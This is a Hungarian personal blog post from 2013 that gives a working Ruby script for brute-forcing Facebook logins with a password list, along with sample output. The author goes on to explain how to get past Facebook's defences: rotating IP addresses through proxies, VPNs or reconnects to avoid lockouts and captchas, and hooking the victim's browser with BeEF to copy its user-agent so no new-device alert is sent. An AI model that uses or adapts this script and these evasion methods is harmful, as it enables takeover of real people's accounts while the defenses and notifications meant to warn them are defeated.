2013. november 27., szerda

Facebook password tesztelő

Össze dobtam egy facebook jelszó tesztelő programot. Ez igazából csak egy POC (Proof of concept) mivel valódi jelszó törésre nem lehet használni. Ahhoz, hogy valódi jelszó feltőrésére is alkalmas legyen ki kell iktatni pár dolgot ami a facebook védelmi rendszerében van. Például, hogy ne jelezze a felhasználónak a belépési kísérleteket és hogy ne adjon fel 5 rossz próba után egy captcha-t.(Az előbbit a user-agent mező manipulálásával az utóbbit pedig az ip cím variálásával (proxy használata) el lehet érni. A program nincs túl spirázva: nem írja ki, hogy hogy kell használni, nincs helpje, nem figyelmeztet ha elhagyunk egy paramétert, stb.

Íme a program:

#
# Usage : test.rb facebook@e-mail password-file
#
#

require 'rubygems'
require 'mechanize'

a = Mechanize.new

#a.user_agent = ''
# ide lehet beirni a user agent mezőt
# ha ide beírunk valamit, akkor a user_agent_alias sort kommentbe kell tenni: #a.user_agent_alias ..

a.user_agent_alias = 'Windows Mozilla'
page = a.get("http://m.facebook.com")

form = a.page.forms.first

form.email = ARGV[0]

File.readlines(ARGV[1]).each do |c|
c.chomp!
form.pass = c

page = form.submit

form = page.forms.first

if (form.action =~ /login/checkpoint/)
  puts c + " - Helyes jelszo\n"
else
  puts c + " - Rossz jelszo\n"
end

end

Ilyen outputja van:

root@kali:~# ruby test2.rb testuser@yahoo.com passwords.txt
1 - Rossz jelszo
2 - Rossz jelszo
TestPass - Helyes jelszo

A passwords.txt tartalma
1
2
TestPass

(A testuser@yahoo.com és a TestPass nem valódi adatok ezekkel ne próbálkozzon senki :)

A facebook jelszó lekérdezésénél az a probléma, hogy ha elég sokszor sikerül rossz jelszóval próbálkozni akkor már a jóval sem fog beengedni ugyanarról az ip címről. Ezen valószínűleg az ip cím váltogatás segíthet, mivel ha ez nem lenne ip címhez kötve, akkor az összes felhasználót ki lehetne így tiltani... Vagyis, ha kitilt egy ip címről, akkor egy másikról még be kell, hogy engedjen. A dolog hátulütője, hogy ha sikerül eltalálni a jelszót, akkor a fiók tulajdonosát a legközelebbi belépésekor a rendszer értesíti, hogy egy idegen eszközről beléptek a fiókjába, illetve ezt e-mailben is elküldheti, ha ez a felhasználónak be van állítva. Az ip cím váltogatására rengeteg lehetőség kínálkozik: Internet kapcsolat megszakítása és újra kérése (új ip címet kap valószínűleg a gép) mobil internet használata és ott disconnect/connect, proxy szerverek használata, vpn szolgáltatások váltogatása, satöbbi.  A user-agent mező megszerzésére meg kézenfekvőnek látszik a BEEF használata. Ha sikerül meghookolni a browsert, akkor majdnem valószínű, hogy szimulálni lehet a felhasználó böngészőjét és így nem fog jelezni neki, ha eltaláljuk a jó jelszót, mert nem fog tudni különbséget tenni a két eszköz között.

Ezt az alap programot más rendszerek bejelentkezésénél is lehet használni a megfelelően módosítva. Mivel egy könyvben azt olvastam, hogy egy penteszternek legyne mindenből saját fejlesztésű eszköze, így ez most már kipipálva: web form jelszó tesztelésre van saját programom :) Ebben az a jó, hogy úgy tudom felparaméterezni ahogy szeretném és amire szükség van. A rubyt nagyon jól lehet kliens oldali böngésző debuggoló eszköznek használni.

Nincsenek megjegyzések:

Megjegyzés küldése

Megjegyzés: Megjegyzéseket csak a blog tagjai írhatnak a blogba.